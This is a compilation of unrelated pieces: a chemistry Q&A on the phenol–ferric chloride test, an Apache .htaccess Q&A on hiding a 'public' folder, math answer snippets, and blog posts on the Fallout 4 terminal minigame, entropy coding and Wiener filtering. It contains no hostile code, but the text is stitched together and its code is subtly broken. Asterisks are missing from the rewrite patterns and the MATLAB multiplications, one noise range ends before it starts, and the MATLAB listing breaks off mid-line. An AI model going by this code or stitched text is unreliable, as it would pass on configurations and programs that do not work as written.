# What is the product of the chemical reaction between phenol and ferric chloride? The chemical reaction between phenol and ferric chloride is a test for the presence of phenol. They react with each other to produce a violet complex. However, the reaction is given differently in different links: 1. $$\ce{3ArOH + FeCl3 → Fe(OAr)3 + 3HCl}$$ 2. $$\ce{6 ArOH + FeCl3 -> [Fe(OAr)6]^3- + 3H+ + 3HCl}$$ source I guess the 2nd reaction is the appropriate one because it shows the formation of a complex, $\ce{[Fe(OAr)6]^3-}$. How could $\ce{Fe(OAr)3}$ be considered a complex? It should act like a ionic salt like $\ce{Na^+C6H5O^-}$ or $\ce{NaOAc}$. So, what is the correct product of the reaction; $\ce{[Fe(OAr)6]^3-}$ or $\ce{Fe(OAr)3}$? • Well you'd need complexation and deprotonation equilibria to describe it properly... – Mithoron Jan 3 '16 at 17:05 After doing some looking around, and going back to check what I thought I knew about coordination complexes, I think I understand why you're seeing two equations. I first recommend reading the pages on Chemguide that talk about coordination chemistry, particularly the first half of this page on acidity, and the pages on reactions with hydroxide and ammonia. Both were helpful to me in understanding an investigation I'm doing on copper (II) complexes, but the same ideas apply to 3+ compounds. The important concepts to keep in mind are that coordination compounds (in situations like this, at least) will either undergo acid-base reactions or ligand-exchange reactions. Acid-base reactions result in neutralization and a precipitate, ligand-exchanges cause a color change. Phenol is a relatively strong acid (stronger than alcohol at least), and so is ferric chloride. I had to look around but this page says at the very bottom that all oxygen-containing compounds act as bases in the presence of Lewis acids (like ferric chloride). $\ce{3ArOH + FeCl3 -> Fe(OAr)3 + 3HCl}$ is the acid-base reaction, and you get a ferric phenolate salt as a precipitate. $\ce{6ArOH + FeCl3 -> [Fe(OAr)6]^3- + 3H+ + 3HCl}$ is the ligand-exchange. It's not immediately obvious, but you can rewrite the two reactions a different way and it becomes clear. $$\ce{3ArOH + [Fe(H2O)6]^3+ -> Fe(H2O)3(OAr)3 + 3HCl}$$ $$\ce{6ArOH + [Fe(H2O)6]^3+ -> [Fe(OAr)6]^3- + 6H2O + 3H+ + 3HCl}$$ Those three $\ce{H+}$ ions are from the excess phenol. The ligand-exchange occurs only when the phenol is in excess and more water molecules can be replaced, making the iron compound ionic and soluble again. So depending on the context, you'll see the one with three or the one with six. Both are correct, but $\ce{[Fe(OC6H5)6]^3-}$ is the new complex and $\ce{Fe(OAr)3}$ is an intermediate product. Hope that helps.	{}
Home Remove public folder from URL with htaccess # Remove public folder from URL with htaccess Damian 1# Damian Published in 2017-11-09 18:36:50Z Is it possible to 'remove' a folder from the URL so if somebody types http://www.example.com/dummy/public/index into their browser address bar, I can strip the 'public' folder, so the URL reads http://www.example.com/dummy/index I essentially want to hide the 'public' folder so it never appears in the URL. I have this htaccess at the root of my site which is www.example.com/dummy/ RewriteEngine on RewriteRule ^(.) public/$1 [L] This is the htaccess inside my public folder which is located at www.example.com/dummy/public/ Options -MultiViews # Activates URL rewriting (like myproject.com/controller/action/1/2/3) RewriteEngine On # Prevent people from looking directly into folders Options -Indexes # If the following conditions are true, then rewrite the URL: # If the requested filename is not a directory, RewriteCond %{REQUEST_FILENAME} !-d # and if the requested filename is not a regular file that exists, RewriteCond %{REQUEST_FILENAME} !-f # and if the requested filename is not a symbolic link, RewriteCond %{REQUEST_FILENAME} !-l # then rewrite the URL in the following way: # Take the whole request filename and provide it as the value of a # "url" query parameter to index.php. Append any query string from # the original URL as further query parameters (QSA), and stop # processing this .htaccess file (L). RewriteRule ^(.+)$ index.php?url=$1 [QSA,L] I tried changing the last RewriteRule to RewriteRule ^(.+)public/(.)$ index.php?url=$1$2 [QSA,L] but when I type www.example.com/dummy/public/index the page loads but the browser address bar still shows 'public' in the path. Is it possible to do what I'm attempting? I've seen a few SO answers that claim to accomplish this such as .htaccess: remove public from URL and URL-rewriting with index in a "public" folder, but none of them work for me. Lag 2# Fear not! For the answer is yes. Use the following rule in your .htaccess to remove the /public/ folder from your URLs: RewriteEngine On RewriteRule ^(.)/public /$1 [R=301,L] This will leave you with the desired URL of http://www.example.com/dummy/index and it achieves this using a 301 permanent redirection. For testing purposes I suggest you change this to 302 as this will make it temporary, once happy, change it back. Make sure you clear your cache before testing this. anubhava 3# anubhava Reply to 2017-11-10 06:13:44Z If you want to remove public/ from your URLs then rule should be placed inside /public/.htaccess since all the requests with URI starting with /dummy/public/ will be managed by rules inside /public/.htaccess. Change your /public/.htaccess with this: # Prevent people from looking directly into folders Options -Indexes -MultiViews # Activates URL rewriting (like myproject.com/controller/action/1/2/3) RewriteEngine On # remove public/ from URLs using a redirect rule RewriteCond %{THE_REQUEST} \s/+(.+/)?public/(\S) [NC] RewriteRule ^ /%1%2? [R=301,L,NE] # If the following conditions are true, then rewrite the URL: # If the requested filename is not a directory, RewriteCond %{REQUEST_FILENAME} !-d # and if the requested filename is not a regular file that exists, RewriteCond %{REQUEST_FILENAME} !-f # and if the requested filename is not a symbolic link, RewriteCond %{REQUEST_FILENAME} !-l # then rewrite the URL in the following way: # Take the whole request filename and provide it as the value of a # "url" query parameter to index.php. Append any query string from # the original URL as further query parameters (QSA), and stop # processing this .htaccess file (L). RewriteRule ^(.+)$ index.php?url=\$1 [QSA,L]	{}
# Tag Info 13 The contrapositive of the statement If $\overbrace{\text{$ab$and$a+b$have the same parity}}^{\large P}$, then $\overbrace{\text{$a$is even and$b$is even}}^{\large Q}$. is If $\overbrace{\text{$a$is odd or$b$is odd}}^{\large\lnot Q}$, then $\overbrace{\text{$ab$and$a+b$have different parities}}^{\large\lnot P}$. Note that $Q$ is the ... 9 Your result is an immediate consequence of the following proposition. Proposition. Suppose $X\subseteq Y$. Then $\mathscr P(X)\subseteq\mathscr P(Y)$. Proof. Let $E\in\mathscr P(X)$. Then $E\subseteq X\subseteq Y$ so that $E\subseteq Y$. Hence $E\in\mathscr P(Y)$. This proves $\mathscr P(X)\subseteq\mathscr P(Y)$. $\Box$ Do you see how your problem is now ... 8 \begin{align} \|S\| & = \|S-T\| + \|S\cap T\| \\[8pt] \|T\| & = \|T-S\| + \|S\cap T\| \end{align} If $\|S-T\|=\|T-S\|$, then the two right sides are the same, so the two left sides are the same. We can also write a proof explicitly dealing with bijections. You ask why one would "assume" a bijection exists. The bijection $g$ that you write about is not simply ... 7 You can proceed directly as follows: $2x = (x+y) + (x-y)$ which must be irrational as it is the sum of a rational and an irrational. So $x$ is irrational. Similarly $2y = (x+y) - (x-y)$ is irrational. 6 not induction, but maybe useful to note: firstly, since 3 is a prime, we have $n^3 \equiv_3 n$ (Fermat's little theorem) secondly $2n \equiv_3 -n$ (since $3n = 2n + n \equiv_3 0$) adding these two results: $$n^3 + 2n \equiv_3 n-n =0$$ 6 By Spectral Theorem, $A$ is orthogonally similar to a diagonal matrix, i.e $$P^{T}AP=\pmatrix{\mu_1 \\ & \ddots \\ && \mu_n}$$ where $\mu_i>0$ is eigenvalue of $A$, and $\space P^{T}P=P^{-1}P=I$. For any $v$, let $v=Pu$. Then $$v^TAv=u^TP^TAPu=\sum_{k=1}^n\mu_ku_k^2>0$$ 5 You need to show us some effort in the future. First, to show two sets are equal, we normally pick an element of the first set, show it is contained in the second, then pick an element in the second, and show it is contained in the first. If we suppose $x \in A$, then $x=2k$ for some integer $k$. Since $x = 2k$, $x = 2(k-1)+2$, and since $k-1$ is an ... 5 Take $N\in\Bbb N$ such that $\|a_n-L\|<1$ for $n\ge N$ and let $$M=\max\{\|a_1\|,\ldots,\|a_N\|,L+1\}.$$ 5 Let $f:\{1,\ldots,n\}\to X$ be a surjection. Suppose, for the sake of contradiction, that $X$ has at least $n+1$ distinct elements $\{x_1,\ldots,x_{n+1}\}\subseteq X$. Since $f$ is a surjection, there exists, for each $i\in\{1,\ldots,n+1\}$, some $k_i\in\{1,\ldots,n\}$ such that $f(k_i)=x_i$. Since $f$ is a function and the $(x_i)_{i=1}^{n+1}$ are distinct, ... 4 We have that $F_n>F_{n-1}$ then $$F_{n+1}=F_n+F_{n-1}>2F_{n-1}>2\cdot2^{(n-1)/2}=2^{(n+1)/2}$$ 4 HINT: For each $x\in X$, let $A_x=\{k\mid f(k)=x\}$. Then each $A_x$ is non-empty. Use that to construct an injection from $X$ into $\{1,\ldots,n\}$. 4 HINT: No, you can’t assume that $A=C$ and show that the inclusions hold: that’s the converse of what you’re supposed to prove, and an implication and its converse are not logically equivalent. Use the fact that $A\subseteq B$ and $B\subseteq C$ to show that $A\subseteq C$. You’re given that $C\subseteq A$, so the rest is straightforward. 4 The given inequality is equivalent to $a^3-a=a(a^2-1)>0$. By multiplying both sides by $a^2+1$, which is always positive, we get $a(a^2-1)(a^2+1)>a^2+1>0$, or $a^5-a>0$. 4 I would write it as: Let $P(n)$ stand for the expression: $$\forall x\leq n(x\not\in A)$$ Then use the assumption that $A$ has no least element to prove that $P(1)$ and $P(n)\implies P(n+1)$. Thus, we've shown that $\forall x:x\not\in A$, which means $A$ is empty. That's essentially the same as your proof, but uses less set notation. 4 Usually, a proof by contradiction of the statement $p \implies q$ is when you assume that the opposite of the desired conclusion is true (i.e., assume the negation of $q$ is true), and follow a few logical implications until you reach a statement that somehow explicitly or implicitly contradicts an initial assumption from the statement $p$. Meanwhile, a ... 4 The Lambert W-function is a function $W(z)$ which solves $z=W(z)e^{W(z)}$. It is a multi-valued function. In this case, you are trying to solve: $$e^{x\pi i/2} = x$$ of: $$\frac{-\pi i}{2}=\frac{-x\pi i}{2}e^{-x\pi i/2}$$ So $$x\frac{-\pi i}{2} = W(-\pi i/2)$$ or $$x =\frac{2i}{\pi} W\left(\frac{-\pi i}{2}\right)$$ I don't think you can do better ... 3 You won't be surprised to learn that in the last seventy-plus years since Tarski's book was first published in English, many other books have been appeared which will perhaps serve better as introductions to modern logic. And if you have downloaded my Teach Yourself Logic, you will have seen my "entry-level" suggestions on formal logic at the beginning of ... 3 You cannot go like this from $k=0$ to $k=1$ (i.e. $k=1$ cannot be expressed in the form $m+l$ as you wrote). 3 $N(t)$ is not equal to $N(t-s)+N(s)$, but $$N(t) = \Big(N(t) - N(s)\Big) + \Big(N(s)\Big)$$ and the two expressions inside the $\Big(\text{big parentheses}\Big)$ are independent of each other (whereas $N(t-s)$ and $N(s)$ are not independent of each other). So \begin{align} \Pr(N(s) = k \mid N(t) = n) & = \frac{\Pr(N(s)=k\ \&\ N(t) =n) ... 3 Yes, your work is all correct. Except a minor issue: the opposite of $\|a_n\| < \epsilon$ is $\|a_n\| \ge \epsilon$, not $\|a_n\| > \epsilon$. Instead of writing $P_n(X)$ as $\|a_n\| < \epsilon \; \forall n > X$, you may have found it clearer to write it as $\forall n > X \; \|a_n\| < \epsilon$. Then your entire statement would have been $$... 3 In general, if A\subseteq B, then \mathscr P (A)\subseteq \mathscr P (B) because every subset of A is a subset of B. More formally, if a\in \mathscr P (A), we need to show that a\in \mathscr P (B). But this is trivial, since if x\in a, then x\in B which implies that a\subseteq B which is the same as a\in \mathscr P (B). Now take ... 3 X\subset Y implies every element of X is an element of Y, so subsets of X are subsets of Y, so \mathcal{P}(X)\subset\mathcal{P}(Y). Finally, for Y=\mathcal{P}(X) you have \mathcal{P}(X)\subset\mathcal{P}(\mathcal{P}(X)). 3 Hint:$$\frac{a_{n+1}}{n}=\frac{a_{n+1}}{n+1}\frac{n+1}{n}.$$Or perhaps more to the point,$$\frac{a_{n+1}}{n+1}=\frac{a_{n+1}}{n}\frac{n}{n+1}.$$We've shown a_{n+1}/n\to l, we know n/(n+1)\to1, hence a_{n+1}/(n+1)\to l. And now this implies that a_n/n\to l. Given \epsilon>0 there exists N so \|a_{n+1}/(n+1)-l\|<\epsilon for all ... 3 If f(a)=c and f(b)=d, then$$\begin{align} \int_a^b f(x) \,\,dx+\int_c^d f^{-1}(y) \,\,dy &=\int_a^b f(x) \,\,dx+\int_a^b f^{-1}(f(x)) f'(x) \,\,dx\\\\ &=\int_a^b f(x) \,\,dx+\int_a^b x f'(x) \,\,dx\\\\ &=\int_a^b \left(f(x)+x f'(x)\right) \,\,dx\\\\ &=\int_a^b (xf(x))' \,\,dx\\\\ &=bf(b)-af(a)\\\\ &=bd-ac \end{align}$$Now, let ... 3 What would the proper negation look like? It turns out that, in this case, there are a number of ways you can go in how you want to prove this claim, not just via direct proof or contrapositive but also how you frame the question logically as well. I'll outline what I think is the clearest and easiest way of going about it. Claim: Let ... 3 You have the contrapositive right. You must negate P and Q separately and prove that the negation of Q implies the negation of P. To expand on this, for "a and b are even" to be false, you only need one of a and b to be odd, so the negation is "a is not even or b is not even". And for the statement "a+b and ab have the same parity" ... 3 Here is a simple proof that K(n) is not only exponential but 'super' exponential in the sense that for all constants C, there is some n_0 such that \|K(n)\|\geq C^n for all n\gt n_0. Let's rewrite your series as \sum_n\frac{a_n}{a_{n+1}} so that we don't run out of indices; in other words, K(n)=a_n. (For convenience's sake I'm going to take ... 3 y = \frac{3x^2+2y}{x^2+2}, multiplying both sides of the equation by x^2+2 results in an equivalent equation because that term is never 0 (in the reals at least). You end up with yx^2 + 2y = 3x^2+2y subtract 2y from both sides (always legitimate). yx^2=3x^2 Since x\neq 0 we can divide both sides by x^2 and get y=3 3 Proof: We first must note that \pi_j is the unique solution to \pi_j=\sum \limits_{i=0} \pi_i P_{ij} and \sum \limits_{i=0}\pi_i=1. Let's use \pi_i=1. From the double stochastic nature of the matrix, we have$$\pi_j=\sum_{i=0}^M \pi_iP_{ij}=\sum_{i=0}^M P_{ij}=1 Hence, $\pi_i=1$ is a valid solution to the first set of equations, and to make it a ... 3 You need to show independence of increments, i.e. if $0\le a<b<c<d$ then $(N_1(d)+N_2(d)) - (N_1(c)+N_2(c))$ is independent of $(N_1(b)+N_2(b)) - (N_1(a)+N_2(a))$, and similarly for more than two intervals. You can prove that by using independence of increments of each of the two processes separately plus independence of $N_1$ and $N_2$. You also ... Only top voted, non community-wiki answers of a minimum length are eligible	{}
Since its release last week, I’ve been playing quite a bit of Fallout 4. There’s an interesting mini-game (which was in previous iterations as well) for “hacking” computer terminals, where you must guess the passcode on a list of possibilities with a limited number of guesses. Each failed guess provides the number of correct letters (in both value and position) in that particular word, but not which letters were correct, allowing you to deduce the correct passcode similarly to the game “Mastermind.” A natural question is, “what is the best strategy for identifying the correct passcode?” We’ll ignore the possibility of dud removal and guess resets (which exist to simplify it a bit in game) for the analysis. Reformulating this as a probability question offers a framework to design the best strategy. First, some definitions: $N$ denotes the number of words, $z$ denotes the correct word, and $x_i$ denotes a word on the list (in some consistent order). A simple approach suggests that we want to use the maximum likelihood (ML) estimate of $z$ to choose the next word based on all the words guessed so far and their results: $\hat{z} = \underset{x_i}{\mathrm{argmax}}~~\mathrm{Pr}(z=x_i)$ However, for the first word, the probability prior is uniform—each word is equally likely. This might seem like the end of the line, so just pick the first word randomly (or always pick the first one on the list, for instance). However, future guesses depend on what this first guess tells us, so we’d be better off with an estimate which maximizes the mutual information between the guess and the unknown password. Using the concept of entropy (which I’ve discussed briefly before), we can formalize the notion of “mutual information” into a mathematical definition: $I(z, x) = H(z) - H(z\|x)$. In this sense, “information” is what you gain by making an observation, and it is measured by how it affects the possible states for a latent variable to take. For more compact notation, let’s define $F_i=f(x_i)$ as the “result” random variable for a particular word, telling us how many letters matched, taking values $\{0,1,...,M\}$, where $M$ is the length of words in the current puzzle. Then, we can change our selection criteria to pick the maximum mutual information: $\hat{z} = \underset{x_i}{\mathrm{argmin}}~~H(z\|F_i)$ But, we haven’t talked about what “conditional entropy” might mean, so it’s not yet clear how to calculate $H(z \| F_i)$, apart from it being the entropy after observing $F_i$‘s value. Conditional entropy is distinct from conditional probability in a subtle way: conditional probability is based on a specific observation, such as $F_i=1$, but conditional entropy is based on all possible observations and reflects how many possible system configurations there are after making an observation, regardless of what its value is. It’s a sum of the resulting entropy after each possible observation, weighted by the probability of that observation happening: $H(Z \| X) = \sum_{x\in X} p(x)H(Z \| X = x)$ As an example, let’s consider a puzzle with $M=5$ and $N=10$. We know that $\forall x_i,\mathrm{Pr}(F_i=5)=p_{F_i}(5)=0.1$. If we define the similarity function $L(x_i, x_j)$ to be the number of letters that match in place and value for two words, and we define the group of sets $S^{k}_{i}=\{x_j:L(x_i,x_j)=k\}$ as the candidate sets, then we can find the probability distribution for $F_i$ by counting, $p_{F_i}(k)=\frac{\vert{S^k_i}\vert}{N}$ As a sanity check, we know that $\vert{S^5_i}\vert=1$ because there are no duplicates, and therefore this equation matches our intuition for the probability of each word being an exact match. With the definition of $p_{F_i}(k)$ in hand, all that remains is finding $H(z \| F_i=k)$, but luckily our definition for $S^k_i$ has already solved this problem! If $F_i=k$, then we know that the true solution is uniformly distributed in $S^k_i$, so $H(z \| F_i=k) = \log_2\vert{S^k_i}\vert$. Finding the best guess is as simple as enumerating $S^k_i$ and then finding the $x_i$ which produces the minimum conditional entropy. For subsequent guesses, we simply augment the definition for the candidate sets by further stipulating that set members $x_j$ must also be in the observed set for all previous iterations. This is equivalent to taking the set intersection, but the notation gets even messier than we have so far, so I won’t list all the details here. All that said, this is more of an interesting theoretical observation than a practical one. Counting all of the sets by hand generally takes longer than a simpler strategy, so it is not well suited for human use (I believe it is $O(n^2)$ operations for each guess), although a computer can do it effectively. Personally, I just go through and find all the emoticons to remove duds and then find a word that has one or two overlaps with others for my first guess, and the field narrows down very quickly. Beyond its appearance in a Fallout 4 mini-game, the concept of “maximum mutual information” estimation has broad scientific applications. The most notable in my mind is in machine learning, where MMI is used for training classifiers, in particular, Hidden Markov Models (HMMs) such as those used in speech recognition. Given reasonable probability distributions, MMI estimates are able to handle situations where ML estimates appear ambiguous, and as such they are able to be used for “discriminative training.” Typically, an HMM training algorithm would receive labeled examples of each case and learn their statistics only. However, a discriminative trainer can also consider the labeled examples of other cases in order to improve classification when categories are very similar but semantically distinct. Everything that happens in the world can be described in some way. Our descriptions range from informal and causal to precise and scientific, yet ultimately they all share one underlying characteristic: they carry an abstract idea known as “information” about what is being described. In building complex systems, whether out of people or machines, information sharing is central for building cooperative solutions. However, in any system, the rate at which information can be shared is limited. For example, on Twitter, you’re limited to 140 characters per message. With 802.11g you’re limited to 54 Mbps in ideal conditions. In mobile devices, the constraints go even further: transmitting data on the network requires some of our limited bandwidth and some of our limited energy from the battery. Obviously this means that we want to transmit our information as efficiently as possible, or, in other words, we want to transmit a representation of the information that consumes the smallest amount of resources, such that the recipient can convert this representation back into a useful or meaningful form without losing any of the information. Luckily, the problem has been studied pretty extensively over the past 60-70 years and the solution is well known. First, it’s important to realize that compression only matters if we don’t know exactly what we’re sending or receiving beforehand. If I knew exactly what was going to be broadcast on the news, I wouldn’t need to watch it to find out what happened around the world today, so nothing would need to be transmitted in the first place. This means that in some sense, information is a property of things we don’t know or can’t predict fully, and it represents the portion that is unknown. In order to quantify it, we’re going to need some math. Let’s say I want to tell you what color my car is, in a world where there are only four colors: red, blue, yellow, and green. I could send you the color as an English word with one byte per letter, which would require 3, 4, 5, or 6 bytes, or we could be cleverer about it. Using a pre-arranged scheme for all situations where colors need to be shared, we agree on the convention that the binary values 00, 01, 10, and 11 map to our four possible colors. Suddenly, I can use only two bits (0.25 bytes, far more efficient) to tell you what color my car is, a huge improvement. Generalizing, this suggests that for any set $\chi$ of abstract symbols (colors, names, numbers, whatever), by assigning each a unique binary value, we can transmit a description of some value from the set using $\log_2(\|\chi\|)$ bits on average, if we have a pre-shared mapping. As long as we use the mapping multiple times it amortizes the initial cost of sharing the mapping, so we’re going to ignore it from here out. It’s also worthwhile to keep this limit in mind as a max threshold for “reasonable;” we could easily create an encoding that is worse than this, which means that we’ve failed quite spectacularly at our job. But, if there are additional constraints on which symbols appear, we should probably be able to do better. Consider the extreme situation where 95% of cars produced are red, 3% blue, and only 1% each for yellow and green. If I needed to transmit color descriptions for my factory’s production of 10,000 vehicles, using the earlier scheme I’d need exactly 20,000 bits to do so by stringing together all of the colors in a single sequence. But, given that by the law of large numbers, I can expect roughly 9,500 cars to be red, so what if I use a different code, where red is assigned the bit string 0, blue is assigned 10, yellow is assigned 110, and green 111? Even though the representation for two of the colors is a bit longer in this scheme, the total average encoding length for a lot of 10,000 cars decreases to 10,700 bits (19500 + 2300 + 3100 + 3100), almost an improvement of 50%! This suggests that the probabilities for each symbol should impact the compression mapping, because if some symbols are more common than others, we can make them shorter in exchange for making less common symbols longer and expect the average length of a message made from many symbols to decrease. So, with that in mind, the next logical question is, how well can we do by adapting our compression scheme to the probability distribution for our set of symbols? And how do we find the mapping that achieves this best amount of compression? Consider a sequence of $n$ independent, identically distributed symbols taken from some source with known probability mass function $p(X=x)$, with $S$ total symbols for which the PMF is nonzero. If $n_i$ is the number of times that the $i$th symbol in the alphabet appears in the sequence, then by the law of large numbers we know that for large $n$ it converges almost surely to a specific value: $\Pr(n_i=np_i)\xrightarrow{n\to \infty}1$. In order to obtain an estimate of the best possible compression rate, we will use the threshold for reasonable compression identified earlier: it should, on average, take no more than approximately $\log_2(\|\chi\|)$ bits to represent a value from a set $\chi$, so by finding the number of possible sequences, we can bound how many bits it would take to describe them. A further consequence of the law of large numbers is that because $\Pr(n_i=np_i)\xrightarrow{n\to \infty}1$ we also have $\Pr(n_i\neq np_i)\xrightarrow{n\to \infty}0$. This means that we can expect the set of possible sequences to contain only the possible permutations of a sequence containing $n_i$ realizations of each symbol. The probability of a specific sequence $X^n=x_1 x_2 \ldots x_{n-1} x_n$ can be expanded using the independence of each position and simplified by grouping like symbols in the resulting product: $P(x^n)=\prod_{k=1}^{n}p(x_k)=\prod_{i=1}^{S} p_i^{n_i}=\prod_{i=1}^{S} p_i^{np_i}$ We still need to find the size of the set $\chi$ in order to find out how many bits we need. However, the probability we found above doesn’t depend on the specific permutation, so it is the same for every element of the set and thus the distribution of sequences within the set is uniform. For a uniform distribution over a set of size $\|\chi\|$, the probability of a specific element is $\frac{1}{\|\chi\|}$, so we can substitute the above probability for any element and expand in order to find out how many bits we need for a string of length $n$: $B(n)=-\log_2(\prod_{i=1}^Sp_i^{np_i})=-n\sum_{i=1}^Sp_i\log_2(p_i)$ Frequently, we’re concerned with the number of bits required per symbol in the source sequence, so we divide $B(n)$ by $n$ to find $H(X)$, a quantity known as the entropy of the source $X$, which has PMF $P(X=x_i)=p_i$: $H(X) = -\sum_{i=1}^Sp_i\log_2(p_i)$ The entropy, $H(X)$, is important because it establishes the lower bound on the number of bits that is required, on average, to accurately represent a symbol taken from the corresponding source $X$ when encoding a large number of symbols. $H(X)$ is non-negative, but it is not restricted to integers only; however, achieving less than one bit per symbol requires multiple neighboring symbols to be combined and encoded in groups, similarly to the method used above to obtain the expected bit rate. Unfortunately, that process cannot be used in practice for compression, because it requires enumerating an exponential number of strings (as a function of a variable tending towards infinity) in order to assign each sequence to a bit representation. Luckily, two very common, practical methods exist, Huffman Coding and Arithmetic Coding, that are guaranteed to achieve optimal performance. For the car example mentioned earlier, the entropy works out to about 0.35 bits, which means there is significant room for improvement over the symbol-wise mapping I suggested, which only achieved a rate of 1.07 bits per symbol, but it would require grouping multiple car colors into a compound symbol, which quickly becomes tedious when working by hand. It is kind of amazing that using only ~3,500 bits, we could communicate the car colors that naively required 246,400 bits (=30,800 bytes) by encoding each letter of the English word with a single byte. $H(X)$ also has other applications, including gambling, investing, lossy compression, communications systems, and signal processing, where it is generally used to establish the bounds for best- or worst-case performance. If you’re interested in a more rigorous definition of entropy and a more formal derivation of the bounds on lossless compression, plus some applications, I’d recommend reading Claude Shannon’s original paper on the subject, which effectively created the field of information theory. The Wiener filter is well known as the optimal solution to the problem of estimating a random process when it is corrupted by another additive process, using only a linear combination of values of the measured process. Mathematically, this means that the Wiener filter constructs an estimator of some original signal $x(t)$ given $z(t)=x(t)+n(t)$ with the property that $\\|\hat{x}(t)-x(t)\\|$ is minimized among all such linear estimators, assuming only that both $x(t)$ and $n(t)$ are stationary and have known statistics (mean, variance, power spectral density, etc.). When more information about the structure of $x(t)$ is known, different estimators may be easier to implement (such as a Kalman filter for signals with a recursive structure). Such a filter is very powerful—it is optimal, after all—when the necessary statistics are available and the input signals meet the requirements, but in practice, signals of interest are never stationary (rarely even wide sense stationary, although it is a useful approximation), and their statistics change frequently. Rather than going through the derivation of the filter, which is relatively straightforward and available on Wikipedia (linked above), I’d like to talk about how to adapt it to situations that do not meet the filter’s criteria and still obtain high quality results, and then provide a demonstration on one such signal. The first problem to deal with is the assumption that a signal is stationary. True to form for engineering, the solution is to look at only a brief portion of the signal and approximate it as stationary. This has the unfortunate consequence of preventing us from defining the filter once and reusing it; instead, as the measured signal is sliced into approximately stationary segments, we must estimate the relevant statistics and construct an appropriate filter for each segment. If we do the filtering in the frequency domain, then for segments of length N we are able to do the entire operation with two length N FFTs (one forward and one reverse) and $O(N)$ arithmetic operations (mostly multiplication and division). This is comparable to other frequency domain filters and much faster than the $O(N^2)$ number of operations required for a time domain filter. This approach creates a tradeoff. Because the signal is not stationary, we want to use short time slices to minimize changes. However, the filter operates by adjusting the amplitude of each bin after a transformation to the frequency domain. Therefore, we want as many bins as possible to afford the filter high resolution. Adjusting the sampling rate does not change the frequency resolution for a given amount of time, because the total time duration of any given buffer is $f_{s}N$. So, for fixed time duration, the length of the buffer will scale inversely with the sampling rate, and the bin spacing in an FFT will remain constant. The tradeoff, then, exists between how long each time slice will be and how much change in signal parameters we wish to tolerate. A longer time slice weakens the stationary approximation, but it also produces better frequency resolution. Both of these affect the quality of the resulting filtered signal. The second problem is the assumption that the statistics are known beforehand. If we’re trying to do general signal identification, or simply “de-noising” of arbitrary incoming data (say, for sample, cleaning up voice recorded from a cell phone’s microphone in windy area, or reducing the effects of thermal noise in a data acquisition circuit), then we don’t know what the signal will look like beforehand. The solution here is a little bit more subtle. The normal formulation of the Wiener filter, in the Laplace domain, is $G(s)= \frac{S_{z,x}(s)}{S_{z}(s)}$ $\hat{X}(s)=G(s) Z(s)$ In this case we assume that the cross-power spectral density, $S_{z,x}(s)$, between the measured process $z(t)$ and the true process $x(t)$ is known, and we assume that the power spectral density, $S_{z}(s)$, of the measured process $z(t)$ is known. In practice, we will estimate $S_{z}(s)$ from measured data, but as the statistics of $x(t)$ are unknown, we don’t know what $S_{z,x}(s)$ is (and can’t measure it directly). But, we do know the statistics of the noise. And, by (reasonable) assumption, the noise and the signal of interest are independent. Therefore, we can calculate several related spectra and make some substitutions into the definition of the original filter. $S_z(s)=S_x(s)+S_n(s)$ $S_{z,x}(s)=S_x(s)$ If we substitute these into the filter definition to eliminate S_x(s), then we are able to construct and approximation of the filter based on the (known) noise PSD and an estimate of the signal PSD (if the signal PSD were known, it’d be exact, but as our PSD estimate contains errors, the filter definition will also contain errors). $G(s)=\frac{S_z(s)-S_n(s)}{S_z(s)}$ You may ask: if we don’t know the signal PSD, how can we know the noise PSD? Realistically, we can’t. But, because the noise is stationary, we can construct an experiment to measure it once and then use it later. Simply identify a time when it is known that there is no signal present (i.e. ask the user to be silent for a few seconds), measure the noise, and store it as the noise PSD for future use. Adaptive methods can be used to further refine this approach (but are a topic for another day). It is also worth noting that the noise does not need to be Gaussian, nor does it have any other restrictions on its PSD. It only needs to be stationary, additive, and independent of the signal being estimated. You can exploit this to remove other types of interference as well. One last thing before the demo. Using the PSD to construct the filter like this is subject to a number of caveats. The first is that the variance of each bin in a single PSD estimate is not zero. This is an important result whose consequences merit more detailed study, but the short of it is that the variance of each bin is essentially the same as the variance of each sample from which the PSD was constructed. A remedy for this is to use a more sophisticated method for estimating the PSD by combining multiple more-or-less independent estimates, generally using a windowing function. This reduces the variance and therefore improves the quality of the resulting filter. This, however, has consequences related to the trade-off between time slice length and stationary approximation. Because you must average PSDs computed from (some) different samples in order to reduce the variance, you are effectively using a longer time slice. Based on the assigned final project in ECE 4110 at Cornell University, which was to use a Wiener filter to de-noise a recording of Einstein explaining the mass-energy equivalence with added Gaussian white noise of unknown power, I’ve put together a short clip comparing the measured (corrupted) signal, the result after filtering with a single un-windowed PSD estimate to construct the filter, and the result after filtering using two PSD estimates with 50% overlap (and thus an effective length of 1.5x the no-overlap condition) combined with a Hann window to construct the filter. There is a clear improvement in noise rejection using the overlapping PSD estimates, but some of the short vocal transitions are also much more subdued, illustrating the tradeoff very well. Be warned, the first segment (unfiltered) is quite loud as the noise adds a lot of output power. Here is the complete MATLAB code used to implement the non-overlapping filter % Assumes einsteindistort.wav has been loaded with % Anything that can divide the total number of samples evenly sampleSize = 512; % Delete old variables % clf; clear input; clear inputSpectrum; clear inputPSD; clear noisePSD; clear sampleNoise; clear output; clear outputSpectrum; clear weinerCoefficients; % These regions indicate where I have decided there is a large amount of % silence, so we can extract the noise parameters here. noiseRegions = [1 10000; 81000 94000; 149000 160000; 240000 257500; 347500 360000; 485000 499000; 632000 645000; 835000 855000; 917500 937500; 1010000 1025000; 1150000 116500]; % Now iterate over the noise regions and create noise start offsets for % each one to extract all the possible noise PSDs noiseStarts = zeros(length(noiseRegions(1,:)), 1); z = 1; for k = 1:length(noiseRegions(:,1)) for t = noiseRegions(k,1):sampleSize:noiseRegions(k,2)-sampleSize noiseStarts(z) = t; z = z + 1; end end % In an effort to improve the PSD estimate of the noise, average the FFT of % silent noisy sections in multiple parts of the recording. noisePSD = zeros(sampleSize, 1); for n = 1:length(noiseStarts) sampleNoise = d(noiseStarts(n):noiseStarts(n)+sampleSize-1); noisePSD = noisePSD + (2/length(noiseStarts)) * abs(fft(sampleNoise)).^2 / sampleSize; end % Force the PSD to be flat like white noise, for comparison % noisePSD = ones(size(noisePSD))mean(noisePSD); % Now, break the signal into segments and try to denoise it with a % noncausal weiner filter. output = zeros(1, length(d)); for k = 1:length(d)/sampleSize input = d(1+sampleSize(k-1):sampleSizek); inputSpectrum = fft(input); inputPSD = abs(inputSpectrum).^2/length(input); weinerCoefficients = (inputPSD - noisePSD) ./ inputPSD; weinerCoefficients(weinerCoefficients < 0) = 0; outputSpectrum = inputSpectrum . weinerCoefficients; % Sometimes for small outputs 